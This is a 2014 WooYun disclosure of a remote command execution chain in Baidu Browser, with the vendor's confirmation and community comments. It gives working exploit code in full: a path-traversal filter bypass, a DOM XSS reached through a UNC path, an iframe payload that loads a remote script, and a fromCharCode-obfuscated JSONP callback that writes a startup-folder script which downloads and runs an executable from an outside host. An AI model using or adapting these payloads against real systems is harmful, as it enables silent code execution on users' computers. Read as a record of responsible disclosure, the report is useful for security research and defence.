当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080910

漏洞标题:百度浏览器远程命令执行三

相关厂商:百度

漏洞作者: gainover

提交时间:2014-10-26 22:01

修复时间:2015-01-24 22:02

公开时间:2015-01-24 22:02

漏洞类型:远程代码执行

危害等级:高

自评Rank:19

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-26: 细节已通知厂商并且等待厂商处理中
2014-10-27: 厂商已经确认,细节仅向厂商公开
2014-10-30: 细节向第三方安全合作伙伴开放
2014-12-21: 细节向核心白帽子及相关领域专家公开
2014-12-31: 细节向普通白帽子公开
2015-01-10: 细节向实习白帽子公开
2015-01-24: 细节向公众公开

简要描述:

啊啊啊,我已经被榨干了,百度,快放开我, 我再也不敢要20了。。
发现浏览器有更新了,就更新到最新版了(6.5.0.50449),看了下,某API做了限制,但是研究了一下发现还是可以被奇葩的绕过哇,继续结合某XSS,依然可以在用户采用默认安装的情况下导致命令执行。

详细说明:

1. 更新到最新版,发现之前的漏洞已经被修补,于是将bdbrowser.skin.download API进行重试了测试一下,
发现做了以下更改:

A. 当使用 ../../../../../cmd.exe 这种方式来对写入路径往上级目录跳转时,发现对方仅会取值cmd.exe,也就是说../../../全部被忽略掉了。
B. 对于下载皮肤的来源进行了过滤,仅允许来自 *.baidu.com下的资源文件。


2. 随后,我对每个参数的过滤方式进行了猜测式的尝试绕过,发现:

A. ../../../ 的方式会被过滤,但是 ..//..//..// 的方式却不会被过滤,这样一来,我们依然可以向上级目录写入内容
B. 限制下载资源来源为*.baidu.com的方式太过于宽松,依然结合一些 *.baidu.com下的资源接口,比如jsonp接口,来实现执行本地命令。


3. 从上面我们不难看出,只要我们再次可以调用特权API,我们又可以导致命令执行了。
4. 由于利用blob/filesystem协议绕过的方式已经被修补,但file域依然是具有权限的。 此前,我对百度浏览器目录下的htm类资源进行过审查,发现在百度浏览器的安装目录下的:
安装目录\resource\extension\security\safe_default.html
安装目录\resource\extension\security\safe_service.html
均存在DOM XSS代码,缺陷代码比较明显:

var obj = queryHash(decodeURIComponent(location.hash).replace("#", ""));
document.getElementById("name").innerHTML = obj.name;
document.getElementById("path").innerHTML = obj.path;


但由于queryHash中获取参数时以“=”号分隔,使得我们的利用代码里不能具有等号,不需要等号的XSS向量,只有<script>alert(1)</script>,然而大家都知道, xx.innerHTML="<script></script>" 并不会去执行script标签内的脚本。只有在IE浏览器下,使用1<script/defer></script>才能使得脚本被执行。
5. 因此,我们又要利用 《百度浏览器远程命令执行》中 ftp强制使用IE内核的方法。然而,该html文件在本地域,我们想要使用<iframe src="file://..../resource\extension\security\safe_service.html"></iframe>的方式直接去访问该缺陷html是不行的。不过庆幸的是,由于是IE内核,我们可以通过UNC path来实现访问本地html的目的,该方法在《搜狗浏览器任意文件读取漏洞 》( WooYun: 搜狗浏览器任意文件读取漏洞 )同样被使用过。
我们可以据此来构造利用代码:

<iframe style="width:1px; height:1px;" src='\\127.0.0.1/C$/Program Files/baidu/baiduBrowser/resource/extension/security/safe_default.html#path=aa<script/defer>eval(window.name);</script>' name='var s=document.createElement("script");s.src="http://192.168.1.105/test/baidu3.js?"+Math.random();document.body.appendChild(s);'></iframe>


利用代码会通过 safe_default.html的DOM XSS实现调用baidu3.js
6.baidu3.js总体上和《百度浏览器远程命令执行二 - 绕过特权域限制 》中的命令执行代码相类似,以下是几个不同的点:

A.  JSON.parse 被改用为 eval("("+data+")") 的方式以支持低版本IE核。
B. bdbrowser.skin.download 的写入地址,采用 ..//..//..//..//启动目录//test.js 的方式绕过对../../的过滤,向启动目录中写入test.js
C. 使用随便找的一个 xapp.baidu.com 下的jsonp接口,将callback回调函数名称替换为我们要执行的恶意JS代码内容。


7. 第6步中所述的JSONP构造如下:
A. 首先写一个下载计算器并执行的JS代码

var x=new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET","http://192.168.1.105/calc.exe",false);
x.send();
var s=new ActiveXObject("ADODB.Stream");
s.Mode=3;
s.Type=1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("calc.exe");
var y=new ActiveXObject("WScript.Shell");
y.run("calc.exe");


B. 然后转换成只有括号的形式(http://app.baidu.com/app/enter?appid=280383):

eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59))


C. 放入JSONP的callback参数中。
http://xapp.baidu.com/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void
D. 将上面地址作为 bdbrowser.skin.download 函数的下载资源来源地址。
8. 其它代码,比如获取用户目录同上一篇文章,当用户访问我们恶意构造的网页后,JSONP页面的内容将被保存到启动目录下,名字为test.js, 用户下次开机启动后,test.js将会被执行,并远程下载calc.exe,然后执行calc.exe

1.jpg


9. 修改后的利用代码baidu3.js 如下:

function getInstallList(id,list){
var result=eval("("+list+")");
var apps=result.content.ItemList;
var deleteID="";
for(var i=apps.length-1;i>=0;i--){
if(/\w{32}/.test(apps[i]["ID"])){
deleteID=apps[i]["ID"];
break;
}
}
//alert("deleteID:"+deleteID);
if(!deleteID){
//不存在自安装插件,通过安装法来获得user
window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","getUser","{\"ID\":\"eococdloljmhdpnihekiiohodgcgjigh\",\"URL\":\"http://dlsw.br.baidu.com/49411271abae81764cf268983c95d9d7.crx\",\"UPDATE\":\"false\"}",window,"");
}else{
//通过删除插件法来实现静默执行
window.external.StartRequest(222,"AppService.AppMarket.DeleteExt","getUser","{\"ID\":\""+deleteID+"\"}",window,"");
}
}
function getUser(id,res){
var isWin7=/NT\s+6/.test(navigator.userAgent);
var user=isWin7?(res.match(/[A-Z]:[\\\\\/]+Users[\\\\\/]+([^\\\/]+)[\\\\\/]+AppData/)||["",""])[1]:(res.match(/[A-Z]:[\\\\\/]+(Documents and Settings|DOCUME~1)[\\\\\/]+([^\\\/]+)[\\\\\/]+/)||["",""])[2];
generateCMD(user);
}
function main(){
window.external.StartRequest(222,"AppService.AppMarket.GetInstalledList","getInstallList","{\"RequireDetail\":\"1\",\"RequirePermission\":\"1\"}",window,"");
}
function generateCMD(user){
//alert("Current User:"+user+"\n");
var isWin7=/NT\s+6/.test(navigator.userAgent);
var win7="Users//"+user+"//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//test.js";
var xp="Documents and Settings//"+user+"//「开始」菜单//程序//启动//test.js";
//alert("1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"\"");
window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{\"name\":\"1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"\",\"url\":\"http://xapp.baidu.com/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void\"}",window,"")
}
try{main();}catch(e){};

漏洞证明:

用户采用默认安装的情况下将会导致远程命令执行。
效果见视频:
http://v.youku.com/v_show/id_XODExNzQxODky.html?tpa=dW5pb25faWQ9MjAwMDA4XzEwMDAwM18wMV8wMQ
密码:wooyuncmd

修复方案:

1. 对bdbrowser.skin.download的写入路径,在判断上考虑得更为全面一些? 对资源来源域名,限制到*.baidu.com下太为宽松,全部子域名下的可能性存在太多。个人觉得最好的办法是,提供一个或者一批固定的资源域名,并保证该域名下的资源用户不可控。
2. 修复本地两个文件的DOM XSS漏洞,当然能把iframe访问unc path这个做了限制更好。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-10-27 10:34

厂商回复:

感谢提交,已通知业务部门处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-26 22:02 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    这次该20rank了

  2. 2014-10-26 22:05 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    关注下最终rank

  3. 2014-10-26 22:05 | fuckadmin ( 普通白帽子 | Rank:476 漏洞数:72 | 千里之堤溃于蚁穴)

    不给20,岂会善罢甘休~

  4. 2014-10-26 22:07 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    有点吊、

  5. 2014-10-26 22:10 | 安然意境 ( 普通白帽子 | Rank:189 漏洞数:79 | 无论是你的事业还是你的个人,可能走的过程...)

    关注是否19rank

  6. 2014-10-26 22:14 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    目测,还是没有20rank

  7. 2014-10-26 22:16 | YY-2012 ( 普通白帽子 | Rank:2763 漏洞数:641 | 意淫,是《红楼梦》原创的词汇,但后来演变...)

    19.5

  8. 2014-10-26 22:17 | diguoji ( 普通白帽子 | Rank:323 漏洞数:79 | 中国吉林长春)

    最近大牛们都个发奇招,貌似有大动作,

  9. 2014-10-26 22:17 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    一哥怎么可能会精尽人亡?

  10. 2014-10-26 22:18 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    目测已成人干

  11. 2014-10-26 22:19 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:145 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    二哥 让百度送个萌猫好了

  12. 2014-10-26 22:39 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    二哥认真了,另外,我请你吃肯德基可好?

  13. 2014-10-26 22:41 | fuckadmin ( 普通白帽子 | Rank:476 漏洞数:72 | 千里之堤溃于蚁穴)

    @卡卡 如去肯德二字,甚好。

  14. 2014-10-26 23:21 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    标记一下,就像看看百度到底给多少rank

  15. 2014-10-26 23:37 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    18、19按照这个规律,这次应该20了

  16. 2014-10-27 08:31 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    第三波

  17. 2014-10-27 08:49 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    万一这次是17呢=、=

  18. 2014-10-27 09:28 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    bypass, see see

  19. 2014-10-27 09:29 | C木苦咖啡 ( 路人 | Rank:20 漏洞数:5 | 纯属娱乐)

    这是不给20,誓不罢休的节奏!

  20. 2014-10-27 09:40 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    二哥你这么屌不带我真的好么。。。

  21. 2014-10-27 10:38 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @gainover 终于20了,哈哈

  22. 2014-10-27 10:54 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    哈哈 百度终于放过你了...

  23. 2014-10-27 21:51 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    20,好鸡冻!

  24. 2014-10-28 09:21 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    这个秋天突然想留下来

  25. 2014-10-28 17:07 | VinGogh ( 路人 | Rank:28 漏洞数:7 | G.X.)

    百度的意思是:二哥,你够了昂

  26. 2014-10-30 19:38 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    终于公德圆满了 向大神庆祝下

  27. 2014-10-30 19:48 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    发现浏览器有更新了,就更新到最新版了(6.5.0.50449),看了下,某API做了限制,但是研究了一下发现还是可以被奇葩的绕过哇,继续结合某XSS,依然可以在用户采用默认安装的情况下导致命令执行。虽然 gainover 的技术无法学来 但是好像朦胧中勾画出各轮廓

  28. 2014-11-17 09:44 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    为何还是那么牛逼啊

  29. 2015-01-24 23:59 | Ztz ( 普通白帽子 | Rank:152 漏洞数:40 | 自由职业)

    下次要21了

  30. 2015-01-25 03:33 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)

    分析的好透彻,,,,,,,,我居然看完了

  31. 2015-02-11 16:08 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    18、19、20有本事下一个给21